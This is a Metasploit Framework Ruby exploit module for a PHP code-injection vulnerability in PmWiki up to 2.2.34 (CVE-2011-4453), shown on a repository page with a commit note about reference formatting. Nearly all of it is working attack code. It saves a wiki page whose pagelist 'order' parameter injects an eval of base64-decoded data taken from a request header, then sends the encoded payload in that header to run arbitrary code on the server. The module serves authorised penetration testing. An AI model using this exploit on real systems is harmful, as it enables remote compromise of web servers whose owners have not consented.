Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
106 lines
2.6 KiB
Ruby
106 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'PmWiki <= 2.2.34 pagelist.php Remote PHP Code Injection Exploit',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability
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in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
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inside /scripts/pagelist.php.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'EgiX', # Vulnerability discovery and exploit
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'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
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],
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'References' =>
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[
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['CVE', '2011-4453'],
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['BID', '50776'],
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['OSVDB', '77261'],
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['EDB', '18149'],
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['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Keys' => ['php'],
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'Space' => 4000,
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'DisableNops' => true,
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Nov 09 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
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],self.class)
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end
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def check
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uri = datastore['URI']
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uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
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res = send_request_raw(
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{
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'uri' => uri
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}, 25)
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if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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p = Rex::Text.encode_base64(payload.encoded)
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header = rand_text_alpha_upper(3)
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header_append = rand_text_alpha_upper(4)
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uri = datastore['URI']
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uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'action' => 'edit',
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'post' => 'save',
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'n' => "#{header}.#{header_append}",
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'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
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}
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}, 25)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'headers' =>
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{
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header => p,
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'Connection' => 'Close',
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},
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'vars_post' =>
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{
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'n' => "#{header}.#{header_append}",
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}
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}, 25)
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end
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end
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